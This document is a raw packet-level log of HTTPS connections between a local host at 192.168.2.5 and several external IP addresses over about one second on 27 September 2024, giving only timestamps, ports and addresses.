Sep 27, 2024 05:51:00.509718895 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.509726048 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.509768009 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.510126114 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.510158062 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.510580063 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.510603905 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.510613918 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.510664940 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.511112928 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.511313915 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.511353970 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.511832952 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.511889935 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.512547970 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.512615919 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.512825012 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.512834072 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.512943983 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.513403893 CEST	49841	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.513423920 CEST	443	49841	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.513909101 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.513945103 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.514008045 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.514185905 CEST	49840	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.514199018 CEST	443	49840	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.514425993 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.514467001 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.514523983 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.515265942 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.515281916 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.515532017 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.515546083 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.553452015 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.559400082 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.594444990 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:00.594491005 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:00.594568968 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:00.595541000 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:00.595562935 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:00.640479088 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.640532970 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.640553951 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.640588999 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.640604019 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.640635014 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.640655994 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.640676975 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.640682936 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.640783072 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.640849113 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.642283916 CEST	49847	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.642304897 CEST	443	49847	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.644582033 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.644610882 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.644685984 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.644711018 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.644732952 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.644766092 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.645292997 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.645332098 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.645370007 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.645382881 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.645396948 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.645423889 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.645458937 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.646441936 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.646462917 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.647322893 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.647361040 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.648056030 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.653542042 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.653556108 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.662700891 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:00.662750959 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:00.662807941 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:00.663297892 CEST	49871	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:51:00.663315058 CEST	443	49871	58.254.150.48	192.168.2.5
Sep 27, 2024 05:51:00.669547081 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.669591904 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.669663906 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.669941902 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.669955969 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.676599026 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.676626921 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.676645994 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.676678896 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.676702976 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.676733971 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.676758051 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.765724897 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.765753031 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.765873909 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.765902996 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.765949965 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.768964052 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.768985987 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.769061089 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.769083977 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.769131899 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.814182997 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.814495087 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.814533949 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.814949989 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.815346003 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.815427065 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.815483093 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.827675104 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.828311920 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.828326941 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.829757929 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.829823017 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.830881119 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.830950975 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.831327915 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.831334114 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:00.857110023 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.857134104 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.857220888 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.857285023 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.857319117 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.858606100 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.858630896 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.858675003 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.858695030 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.858719110 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.858900070 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.858956099 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.858972073 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.858994007 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.859050989 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.863404989 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.867321014 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.877166033 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.877191067 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.877197981 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.877213955 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.877222061 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.877226114 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.877263069 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.877306938 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.877326965 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.877351046 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.881489038 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.881525040 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.881556988 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.881570101 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.881597042 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.881624937 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.881642103 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.881666899 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.884447098 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:00.902002096 CEST	49846	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.902034044 CEST	443	49846	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.908457994 CEST	49873	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.908499956 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.908572912 CEST	49873	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.909631014 CEST	49873	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.909646034 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.914290905 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.914302111 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.914519072 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.914860010 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.914872885 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.930509090 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.930533886 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.930538893 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.930656910 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.930680990 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.930692911 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.930697918 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.930715084 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.930732965 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.930757999 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.935581923 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.936662912 CEST	49859	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.936685085 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.937056065 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.937511921 CEST	49859	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.937575102 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:00.937840939 CEST	49859	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:00.963524103 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.963618994 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.963625908 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.963659048 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.963689089 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.963716030 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.967911959 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.967961073 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.968009949 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.968020916 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.968079090 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.968091965 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.968794107 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.968821049 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.968874931 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.968904018 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.968920946 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.968943119 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.971498013 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.971519947 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.971600056 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.971613884 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.971656084 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.971718073 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.971762896 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.971767902 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.971815109 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.971856117 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.972280025 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.972294092 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.976500034 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.976553917 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.976761103 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.977334976 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:00.977370977 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:00.983403921 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.016217947 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.016263008 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.016289949 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.016298056 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.016319036 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.016344070 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.016374111 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.017189980 CEST	49858	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.017203093 CEST	443	49858	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.031920910 CEST	443	49861	90.84.161.25	192.168.2.5
Sep 27, 2024 05:51:01.045775890 CEST	49861	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:51:01.045795918 CEST	443	49861	90.84.161.25	192.168.2.5
Sep 27, 2024 05:51:01.046382904 CEST	443	49861	90.84.161.25	192.168.2.5
Sep 27, 2024 05:51:01.046694040 CEST	49861	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:51:01.046866894 CEST	443	49861	90.84.161.25	192.168.2.5
Sep 27, 2024 05:51:01.046926022 CEST	49861	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:51:01.053503036 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.053558111 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.053594112 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.053603888 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.053641081 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.053656101 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.054574013 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.054617882 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.054665089 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.054673910 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.054725885 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.055844069 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.055892944 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.055942059 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.055949926 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.055974960 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.055996895 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.056348085 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.056421995 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.056430101 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.056514978 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.056561947 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.062875986 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.062896013 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.063446999 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.063472986 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.063664913 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.065151930 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.065167904 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.068967104 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.069024086 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.069082022 CEST	49859	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.069094896 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.069144011 CEST	49859	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.069165945 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.069207907 CEST	49859	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.071517944 CEST	49859	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:01.071523905 CEST	443	49859	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:01.090607882 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.091403961 CEST	443	49861	90.84.161.25	192.168.2.5
Sep 27, 2024 05:51:01.134128094 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.143816948 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.145550013 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.148689032 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.151561975 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.197145939 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.197156906 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.199898958 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.199901104 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.307192087 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.307223082 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.307473898 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.307483912 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.307605028 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.307636976 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.307737112 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.307791948 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.307899952 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.307924032 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.308053970 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.308073044 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.308089018 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.308111906 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.308159113 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.308367968 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.308424950 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.308626890 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.309113026 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.309155941 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.309297085 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.309381008 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.309750080 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.309808016 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.310247898 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.310331106 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.310683012 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.310758114 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.311069012 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.311130047 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.311219931 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.311275959 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.311521053 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.311532021 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.311588049 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.311594963 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.312092066 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.312227964 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.312458038 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.312467098 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:01.351407051 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.351408958 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:01.352631092 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.352641106 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:01.352662086 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:01.361200094 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:01.361243963 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:01.361304045 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:01.361720085 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:01.361736059 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:01.364137888 CEST	49879	443	192.168.2.5	50.2.64.137
